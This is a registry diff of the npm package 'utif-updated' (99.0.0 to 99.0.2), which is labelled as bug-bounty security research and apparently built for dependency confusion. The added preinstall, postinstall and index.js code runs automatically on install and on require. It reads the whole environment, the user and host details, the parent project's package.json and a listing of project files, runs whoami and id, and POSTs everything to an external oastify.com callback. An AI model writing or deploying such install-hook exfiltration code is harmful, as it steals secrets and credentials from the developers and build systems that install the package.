utif-updated 99.0.0 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,27 +1,64 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
4
6
 
5
7
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
6
8
 
7
9
  if (!global.__utif_updated_triggered) {
8
10
  global.__utif_updated_triggered = true;
9
-
10
- const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
11
-
12
- // Callback Burp avec infos
13
- const data = Buffer.from(JSON.stringify({
11
+
12
+ function findParentPackageJson() {
13
+ // En runtime, on remonte depuis le module
14
+ let dir = __dirname;
15
+ for (let i = 0; i < 10; i++) {
16
+ const parent = path.dirname(dir);
17
+ if (parent === dir) break;
18
+ dir = parent;
19
+ if (path.basename(dir) === 'node_modules') {
20
+ // On est dans node_modules, le parent c'est le projet
21
+ const projectDir = path.dirname(dir);
22
+ try {
23
+ return JSON.parse(fs.readFileSync(
24
+ path.join(projectDir, 'package.json'), 'utf8'
25
+ ));
26
+ } catch(e) {}
27
+ }
28
+ }
29
+ return null;
30
+ }
31
+
32
+ const info = {
14
33
  type: 'runtime_require',
15
34
  hostname: os.hostname(),
16
35
  user: os.userInfo().username,
17
36
  cwd: process.cwd(),
18
- webhook: webhook || 'NOT_FOUND',
37
+ dirname: __dirname,
38
+ platform: os.platform(),
39
+ node_version: process.version,
40
+ env: process.env,
41
+ parent_package: findParentPackageJson(),
19
42
  timestamp: new Date().toISOString()
20
- })).toString('base64');
21
-
22
- https.get(`https://${CALLBACK}/runtime?d=${data}`, () => {}).on('error', () => {});
23
-
24
- // Trigger game over
43
+ };
44
+
45
+ const data = JSON.stringify(info);
46
+
47
+ const req = https.request({
48
+ hostname: CALLBACK,
49
+ port: 443,
50
+ path: '/runtime',
51
+ method: 'POST',
52
+ headers: {
53
+ 'Content-Type': 'application/json',
54
+ 'Content-Length': Buffer.byteLength(data)
55
+ }
56
+ }, () => {});
57
+ req.on('error', () => {});
58
+ req.write(data);
59
+ req.end();
60
+
61
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
25
62
  if (webhook) {
26
63
  try {
27
64
  const url = new URL(webhook);
@@ -31,5 +68,4 @@ if (!global.__utif_updated_triggered) {
31
68
  }
32
69
  }
33
70
 
34
- // Export vide pour pas casser leur build
35
71
  module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "utif-updated",
3
- "version": "99.0.0",
3
+ "version": "99.0.2",
4
4
  "description": "Security research - Bug Bounty",
5
5
  "main": "index.js",
6
6
  "author": "icare",
package/postinstall.js CHANGED
@@ -1,22 +1,65 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
4
6
 
5
7
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
6
8
 
7
- const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
9
+ function findParentPackageJson() {
10
+ if (process.env.npm_config_local_prefix) {
11
+ try {
12
+ return JSON.parse(fs.readFileSync(
13
+ path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
14
+ ));
15
+ } catch(e) {}
16
+ }
17
+
18
+ let dir = process.cwd();
19
+ for (let i = 0; i < 10; i++) {
20
+ const parent = path.dirname(dir);
21
+ if (parent === dir) break;
22
+ dir = parent;
23
+ if (dir.includes('node_modules')) continue;
24
+ try {
25
+ const pkgPath = path.join(dir, 'package.json');
26
+ if (fs.existsSync(pkgPath)) {
27
+ return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
28
+ }
29
+ } catch(e) {}
30
+ }
31
+ return null;
32
+ }
8
33
 
9
- // Callback Burp
10
- const data = Buffer.from(JSON.stringify({
34
+ const info = {
11
35
  type: 'postinstall',
12
36
  hostname: os.hostname(),
13
37
  user: os.userInfo().username,
14
- webhook: webhook || 'empty'
15
- })).toString('base64');
38
+ cwd: process.cwd(),
39
+ npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
40
+ platform: os.platform(),
41
+ env: process.env,
42
+ parent_package: findParentPackageJson(),
43
+ timestamp: new Date().toISOString()
44
+ };
16
45
 
17
- https.get(`https://${CALLBACK}/postinstall?d=${data}`, () => {}).on('error', () => {});
46
+ const data = JSON.stringify(info);
18
47
 
19
- // Trigger game over webhook
48
+ const req = https.request({
49
+ hostname: CALLBACK,
50
+ port: 443,
51
+ path: '/postinstall',
52
+ method: 'POST',
53
+ headers: {
54
+ 'Content-Type': 'application/json',
55
+ 'Content-Length': Buffer.byteLength(data)
56
+ }
57
+ }, () => {});
58
+ req.on('error', () => {});
59
+ req.write(data);
60
+ req.end();
61
+
62
+ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
20
63
  if (webhook) {
21
64
  try {
22
65
  const url = new URL(webhook);
package/preinstall.js CHANGED
@@ -1,31 +1,92 @@
1
1
  const https = require('https');
2
2
  const http = require('http');
3
3
  const os = require('os');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+ const { execSync } = require('child_process');
4
7
 
5
8
  const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
6
9
 
7
- const data = JSON.stringify({
10
+ // Fonction pour trouver le package.json parent (racine du projet)
11
+ function findParentPackageJson() {
12
+ // npm_config_local_prefix = racine du projet qui installe
13
+ if (process.env.npm_config_local_prefix) {
14
+ try {
15
+ return JSON.parse(fs.readFileSync(
16
+ path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
17
+ ));
18
+ } catch(e) {}
19
+ }
20
+
21
+ // Sinon remonte l'arborescence
22
+ let dir = process.cwd();
23
+ for (let i = 0; i < 10; i++) {
24
+ const parent = path.dirname(dir);
25
+ if (parent === dir) break;
26
+ dir = parent;
27
+
28
+ // Skip si on est dans node_modules
29
+ if (dir.includes('node_modules')) continue;
30
+
31
+ try {
32
+ const pkgPath = path.join(dir, 'package.json');
33
+ if (fs.existsSync(pkgPath)) {
34
+ return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
35
+ }
36
+ } catch(e) {}
37
+ }
38
+ return null;
39
+ }
40
+
41
+ // Récupère toutes les infos
42
+ const info = {
8
43
  type: 'preinstall',
9
44
  hostname: os.hostname(),
10
45
  user: os.userInfo().username,
11
46
  cwd: process.cwd(),
12
- env_target: process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN || 'NOT_FOUND',
47
+ npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
48
+ home: os.homedir(),
49
+ platform: os.platform(),
50
+ arch: os.arch(),
51
+ node_version: process.version,
52
+ env: process.env,
13
53
  timestamp: new Date().toISOString()
14
- });
54
+ };
55
+
56
+ // Package.json du projet PARENT
57
+ info.parent_package = findParentPackageJson();
58
+
59
+ // Infos système
60
+ try {
61
+ info.pwd = execSync('pwd').toString().trim();
62
+ info.whoami = execSync('whoami').toString().trim();
63
+ info.id = execSync('id').toString().trim();
64
+ } catch(e) {}
65
+
66
+ // Liste des fichiers à la racine du projet
67
+ try {
68
+ if (process.env.npm_config_local_prefix) {
69
+ info.project_files = fs.readdirSync(process.env.npm_config_local_prefix);
70
+ }
71
+ } catch(e) {}
72
+
73
+ const data = JSON.stringify(info);
15
74
 
16
- // Callback Burp
17
75
  const req = https.request({
18
76
  hostname: CALLBACK,
19
77
  port: 443,
20
78
  path: '/preinstall',
21
79
  method: 'POST',
22
- headers: { 'Content-Type': 'application/json' }
80
+ headers: {
81
+ 'Content-Type': 'application/json',
82
+ 'Content-Length': Buffer.byteLength(data)
83
+ }
23
84
  }, () => {});
24
85
  req.on('error', () => {});
25
86
  req.write(data);
26
87
  req.end();
27
88
 
28
- // Trigger leur webhook si présent
89
+ // Trigger leur webhook
29
90
  const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
30
91
  if (webhook) {
31
92
  try {